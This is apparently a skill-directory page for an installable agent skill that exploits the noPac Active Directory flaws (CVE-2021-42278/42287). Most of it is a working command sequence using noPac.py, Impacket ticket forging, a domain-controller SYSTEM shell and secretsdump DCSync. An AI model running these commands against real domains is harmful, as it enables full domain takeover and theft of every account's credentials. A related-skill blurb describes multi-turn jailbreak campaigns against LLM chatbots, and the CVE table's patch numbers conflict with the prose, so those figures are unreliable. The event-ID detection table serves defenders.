external/anthropic-cybersecurity-skills/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md
Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.
npx skillsauth add seikaikyo/dash-skills exploiting-nopac-cve-2021-42278-42287Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
noPac is a critical exploit chain combining two Active Directory vulnerabilities: CVE-2021-42278 (sAMAccountName spoofing) and CVE-2021-42287 (KDC PAC confusion). Together, they allow any authenticated domain user to escalate to Domain Admin privileges, potentially achieving full domain compromise in under 60 seconds. CVE-2021-42278 allows an attacker to modify a machine account's sAMAccountName attribute to match a Domain Controller's name (minus the trailing $). CVE-2021-42287 exploits a flaw in the Kerberos PAC validation where the KDC, unable to find the renamed account, falls back to appending $ and issues a ticket for the Domain Controller account. Microsoft patched both vulnerabilities in November 2021 (KB5008380 and KB5008602), but many environments remain unpatched. The exploit was publicly released by cube0x0 and Ridter in December 2021.
# Using cube0x0's noPac scanner
python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1
# Using CrackMapExec module
crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac
# Check MachineAccountQuota via LDAP
python3 -c "
import ldap3
server = ldap3.Server('10.10.10.1')
conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True)
conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota'])
print(conn.entries[0]['ms-DS-MachineAccountQuota'])
"
# Using cube0x0's noPac (gets a shell on the DC)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
# Using Ridter's noPac (alternative implementation)
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
--impersonate administrator -dump
# DCSync using secretsdump.py with the Kerberos ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/[email protected]
# Or directly through the noPac shell
# The shell runs as SYSTEM on the DC
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \
-dc-host DC01 -shell --impersonate administrator -use-ldap
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
# Rename machine account sAMAccountName to DC name (without $)
renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123'
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \
-dc-ip 10.10.10.1 domain.local/user:'Password123'
export KRB5CCNAME=DC01.ccache
getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \
-k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
| Tool | Purpose | Platform | |------|---------|----------| | noPac (cube0x0) | Automated scanner and exploiter | Python | | noPac (Ridter) | Alternative exploit implementation | Python | | Impacket | Kerberos ticket manipulation, DCSync | Python | | CrackMapExec | Vulnerability scanning module | Python | | Rubeus | Windows Kerberos ticket operations | Windows (.NET) | | secretsdump.py | Post-exploitation credential dumping | Python |
| CVE | Description | CVSS | Patch | |-----|-------------|------|-------| | CVE-2021-42278 | sAMAccountName spoofing (machine accounts) | 7.5 | KB5008102 | | CVE-2021-42287 | KDC PAC confusion / privilege escalation | 7.5 | KB5008380 |
| Indicator | Detection Method | |-----------|-----------------| | Machine account sAMAccountName change | Event 4742 (computer account changed) with sAMAccountName modification | | New machine account creation | Event 4741 (computer object created) | | TGT request for account without trailing $ | Kerberos audit log analysis | | S4U2self requests from non-DC machine accounts | Event 4769 with unusual service ticket requests | | Rapid sequence: create account, rename, request TGT | SIEM correlation rule for noPac attack pattern |
tools
Conduct comprehensive GDPR compliance assessments by evaluating data processing activities against EU Regulation 2016/679, including Article 30 records of processing, lawful basis validation, data subject rights implementation, Data Protection Impact Assessments (DPIAs) under Article 35, breach notification procedures, international transfer safeguards (SCCs, adequacy decisions), and technical/organizational measures under Article 32. Use when processing personal data of EU residents, preparing for supervisory authority audits, implementing privacy-by-design for new systems, scoping compliance gaps for M&A due diligence, assessing third-party processors, or responding to data subject access requests at scale. Incorporates 2026 guidance from ICO, EDPB, and post-Data (Use and Access) Act 2025 UK-GDPR considerations. Do not use for implementing specific Article 32 controls — use implementing-gdpr-data-protection-controls; or for DSAR automation — use implementing-gdpr-data-subject-access-request.
tools
Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.
development
Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.
testing
Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.